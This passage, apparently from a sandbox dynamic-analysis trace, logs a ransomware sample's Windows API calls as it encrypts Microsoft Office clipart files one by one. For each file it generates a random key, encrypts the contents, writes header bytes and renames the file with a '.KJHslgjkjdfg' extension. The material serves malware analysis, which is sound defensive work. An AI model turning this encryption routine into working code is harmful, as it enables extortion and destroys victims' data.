lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.667] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.667] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.667] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8b4, lpOverlapped=0x0) returned 1 [0206.667] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0) returned 1 [0206.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.667] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8c0, lpOverlapped=0x0) returned 1 [0206.667] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.667] SetEndOfFile (hFile=0x130) returned 1 [0206.669] GetProcessHeap () returned 0x990000 [0206.669] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.669] GetProcessHeap () returned 0x990000 [0206.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.kjhslgjkjdfg")) returned 1 [0206.671] CloseHandle (hObject=0x130) returned 1 [0206.671] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1 [0206.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.745] GetProcessHeap () returned 0x990000 [0206.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.745] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.745] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.748] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.748] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.748] GetProcessHeap () returned 0x990000 [0206.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.748] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.748] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.748] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.748] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.748] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.748] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.748] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.749] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.749] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.749] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaf4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaf4, lpOverlapped=0x0) returned 1 [0206.749] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb00, dwBufLen=0xb00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb00) returned 1 [0206.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.749] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb00, lpOverlapped=0x0) returned 1 [0206.749] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.749] SetEndOfFile (hFile=0x130) returned 1 [0206.752] GetProcessHeap () returned 0x990000 [0206.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.752] GetProcessHeap () returned 0x990000 [0206.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.kjhslgjkjdfg")) returned 1 [0206.754] CloseHandle (hObject=0x130) returned 1 [0206.754] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1 [0206.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.755] GetProcessHeap () returned 0x990000 [0206.755] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.755] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.758] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.758] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.758] GetProcessHeap () returned 0x990000 [0206.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.758] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.758] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.758] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.758] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.758] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.758] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.759] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.759] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.759] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5aa4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5aa4, lpOverlapped=0x0) returned 1 [0206.760] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5ab0, dwBufLen=0x5ab0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5ab0) returned 1 [0206.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.761] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5ab0, lpOverlapped=0x0) returned 1 [0206.761] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.761] SetEndOfFile (hFile=0x130) returned 1 [0206.762] GetProcessHeap () returned 0x990000 [0206.762] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.763] GetProcessHeap () returned 0x990000 [0206.763] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.kjhslgjkjdfg")) returned 1 [0206.764] CloseHandle (hObject=0x130) returned 1 [0206.765] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1 [0206.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.766] GetProcessHeap () returned 0x990000 [0206.766] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.766] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.766] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.768] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.768] GetProcessHeap () returned 0x990000 [0206.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.768] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.768] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.768] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.768] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.769] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.769] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.769] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.769] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.769] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.769] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1cf8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1cf8, lpOverlapped=0x0) returned 1 [0206.770] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d00, dwBufLen=0x1d00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d00) returned 1 [0206.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.770] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d00, lpOverlapped=0x0) returned 1 [0206.770] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.770] SetEndOfFile (hFile=0x130) returned 1 [0206.773] GetProcessHeap () returned 0x990000 [0206.773] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.773] GetProcessHeap () returned 0x990000 [0206.773] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.kjhslgjkjdfg")) returned 1 [0206.775] CloseHandle (hObject=0x130) returned 1 [0206.775] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1 [0206.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.776] GetProcessHeap () returned 0x990000 [0206.776] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.776] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.776] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.779] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.779] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.779] GetProcessHeap () returned 0x990000 [0206.779] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.779] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.779] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.779] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.779] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.779] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.779] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.779] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.780] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, 